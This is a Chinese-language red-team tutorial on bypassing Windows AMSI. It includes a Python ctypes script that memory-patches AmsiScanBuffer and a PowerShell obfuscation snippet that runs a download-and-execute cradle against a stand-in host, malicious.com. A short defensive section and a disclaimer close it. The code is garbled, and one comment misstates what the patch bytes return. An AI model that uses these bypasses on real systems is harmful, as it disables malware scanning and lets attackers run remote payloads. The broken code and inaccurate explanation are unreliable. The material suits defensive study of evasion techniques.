0x01 前奏:幕后黑客与AMSI之战

在2023年年初,一场围绕着Windows反恶意软件扫描接口(AMSI)的新型攻击手法被曝光,迅速引起了安全圈的讨论。这次攻击事件揭示了AMSI绕过技术在现代Windows系统上仍然具有很大的威胁潜力。作为一名红队专家,我将从攻击者的视角深入分析AMSI绕过技术的原理、实现与实战应用。

AMSI是微软为了提高Windows系统安全性而引入的一个重要机制,它旨在检测和拦截恶意软件的执行。然而,攻击者的目标始终是寻找并利用系统机制的薄弱之处,以达到避开检测、获取权限的目的。本文将详细揭示AMSI绕过的方法,帮助安全研究人员更好地理解攻击者的思路。

黑客示意图

0x02 寻找破绽:AMSI的软肋

AMSI的工作原理是通过拦截脚本引擎调用接口,将代码内容传递给注册的安全产品进行扫描。一旦检测到恶意行为,AMSI会阻止该代码的执行。然而,正如其他安全功能一样,AMSI不是完美无瑕的。攻击者通过研究发现,其在实现中存在一些可被利用的弱点。

AMSI拦截机制

AMSI的核心在于AmsiScanBuffer这个函数,它负责将脚本内容提交给安全产品。攻击者主要针对该函数展开攻击,一旦能成功劫持或篡改调用,就能绕过AMSI的检测。最常见的绕过手法包括:

  • 内存补丁:直接修改进程内存中AmsiScanBuffer的字节码,使其始终返回成功。
  • Hooking:通过API钩子技术,劫持调用流程,绕过实际的扫描过程。
  • 字符串分割与混淆:分割恶意代码片段,使AMSI的正则检测失效。

0x03 流量捕获实战:构建攻击环境

在展开攻击之前,我们需要一个可控的实验环境来测试AMSI绕过技术。

黑客示意图

搭建实验环境

  • 虚拟机准备:使用VirtualBox或VMware创建一台Windows 10虚拟机。确保启用了最新的Windows Defender。
  • 工具安装:安装PowerShell 5.0或更高版本,并准备好常用的攻击工具,如Metasploit和Cobalt Strike。
  • 网络隔离:确保实验环境在一个隔离的网络中,以防止意外的攻击外泄。

POC代码实现

目标:通过内存补丁的方法绕过AMSI的检测。

我们将使用Python结合Ctypes库修改目标进程内的AMSI函数返回值。

<pre><code class="language-python">import ctypes

def patch_amsi():

获取kernel32和amsi.dll句柄

k_handle = ctypes.windll.kernel32 a_handle = ctypes.windll.LoadLibrary(&quot;amsi.dll&quot;)

获取AmsiScanBuffer函数地址

asb_address = k_handle.GetProcAddress(a_handle._handle, b&#039;AmsiScanBuffer&#039;)

绕过AMSI,修改函数返回值为0,表示成功

patch = (ctypes.c_char 6)([0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])

修改内存保护属性以写入

old_protect = ctypes.c_ulong() k_handle.VirtualProtect(asb_address, ctypes.sizeof(patch), 0x40, ctypes.byref(old_protect))

写入补丁并恢复内存保护

ctypes.memmove(asb_address, patch, ctypes.sizeof(patch)) k_handle.VirtualProtect(asb_address, ctypes.sizeof(patch), old_protect.value, ctypes.byref(old_protect))

patch_amsi()</code></pre>

代码解读:通过对内存的直接修改,我们将AmsiScanBuffer内的关键字节替换为一个始终返回成功的代码片段。这种方法可以有效绕过AMSI的检测。

黑客示意图

0x04 Payload构造的艺术:混淆与分割

虽然内存补丁是一种直接而有效的方法,但某些场合需要更加隐蔽的手法。攻击者常用的另一种策略是通过混淆技术来构建复杂的Payload,使AMSI的静态分析失效。

字符串混淆

通过将恶意代码分解为多个无意义的片段,并在运行时重新组合,攻击者可以有效避开AMSI的检测。

PowerShell示例

<pre><code class="language-powershell"># 分割恶意Payload $par1 = &#039;IEX&#039; $par2 = &#039;((new-object net.webclient).downloadstring(&quot;http://malicious.com/payload&quot;))&#039;

混淆与执行

Invoke-Expression ($par1 + &quot; &quot; + $par2)</code></pre>

技术要点:AMSI依赖于静态模式匹配来识别恶意代码。通过将代码片段打散并动态重组,攻击者能够绕过这种模式匹配机制。

0x05 检测与防御:破与立之间

每一种攻击都伴随着检测与防御的需求。虽然攻击者能够通过多种手段绕过AMSI,但蓝队仍然可以采用进阶的检测和防护策略来提高防御能力。

加强监控与检测

  • 行为分析:与传统的静态分析不同,行为分析通过监控脚本的运行行为,识别潜在的恶意活动。
  • 内存完整性检查:定期扫描进程内存的完整性,检测和恢复被篡改的内存区域。

防御措施

  • 策略更新:不断更新AMSI的检测策略,以应对攻击者的新型混淆手法。
  • 多层次防护:结合EDR(端点检测与响应)等先进技术,形成多层保护机制,及时发现异常活动。

0x06 个人经验分享:从攻击者到防御者

从事红队工作多年,我深刻体会到攻击与防御之间的永恒斗争。对于AMSI绕过,无论是攻击者还是防御者,都需要不断学习和适应新的技术。

攻击者的思维:永远不满足于现有的攻击手法,勇于探索新的攻击面和技术。

防御者的策略:不仅要具备对现有攻击的检测与响应能力,更要具备前瞻性的思维,提前部署可能的防线。

AMSI绕过技术的存在,提醒我们在安全领域绝不可能一劳永逸。无论是开发新的攻击技术,还是探索新的防御方案,都需要技术人员不断的努力与创新。最终,只有通过攻防双方的共同进步,才能实现更安全的网络环境。

---

声明:本文仅限授权安全测试,不得用于非法用途。本文内容仅供安全研究人员学习与参考。